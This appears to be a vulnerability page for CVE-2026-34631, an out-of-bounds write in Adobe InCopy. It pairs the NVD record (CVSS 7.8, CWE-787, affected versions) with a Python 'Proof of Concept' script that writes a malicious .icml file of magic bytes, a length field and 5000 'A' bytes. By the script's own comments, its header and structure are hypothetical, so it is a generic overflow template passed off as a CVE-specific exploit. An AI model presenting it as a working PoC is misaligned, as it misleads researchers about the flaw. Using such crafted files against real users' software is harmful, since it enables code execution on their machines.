CVE-2026-34631

import struct # Proof of Concept for CVE-2026-34631 # This script generates a malformed file potentially triggering an OOB write in Adobe InCopy. # Note: The exact file structure and offset need to be reverse-engineered for a real exploit. filename = "malicious_incopy_poc.icml" # Simulate a file header that might be parsed by InCopy header = b'\x06\x06\xed\xf5' # Example magic bytes # Construct a payload designed to trigger an overflow # Assuming a vulnerable field expects a small string but allows a large buffer overflow_size = 5000 malicious_payload = b'A' * overflow_size # Pack data into a hypothetical structure # This is a generic template; real exploitation requires knowing the specific file format vulnerability. # E.g., manipulating a length field to cause a loop-based overflow. length_field = struct.pack('<I', overflow_size) poc_file = header + length_field + malicious_payload with open(filename, 'wb') as f: f.write(poc_file) print(f"[*] PoC file generated: {filename}") print("[*] Open this file in a vulnerable version of Adobe InCopy to test for the crash.")

{"cve": {"id": "CVE-2026-34631", "sourceIdentifier": "[email protected]", "published": "2026-04-14T22:16:31.837", "lastModified": "2026-04-15T19:33:14.547", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "InCopy versions 20.5.2, 21.2 and earlier are affected by an out-of-bounds write vulnerability that could result in arbitrary code execution in the context of the current user. Exploitation of this issue requires user interaction in that a victim must open a malicious file."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H", "baseScore": 7.8, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-787"}]}], "configurations": [{"operator": "AND", "nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:adobe:incopy:*:*:*:*:*:*:*:*", "versionEndExcluding": "20.5.3", "matchCriteriaId": "4E9AFDF0-6924-4DC2-8CDF-214C302F411A"}, {"vulnerable": true, "criteria": "cpe:2.3:a:adobe:incopy:*:*:*:*:*:*:*:*", "versionStartIncluding": "21.0", "versionEndExcluding": "21.3", "matchCriteriaId": "8CA72C62-5102-46F5-AF3B-C715E5C3E0DF"}]}, {"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": false, "criteria": "cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:*", "matchCriteriaId": "387021A0-AF36-463C-A605-32EA7DAC172E"}, {"vulnerable": false, "criteria": "cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:*", "matchCriteriaId": "A2572D17-1DE6-457B-99CC-64AFD54487EA"}]}]}], "references": [{"url": "https://helpx.adobe.com/security/products/incopy/apsb26-33.html", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}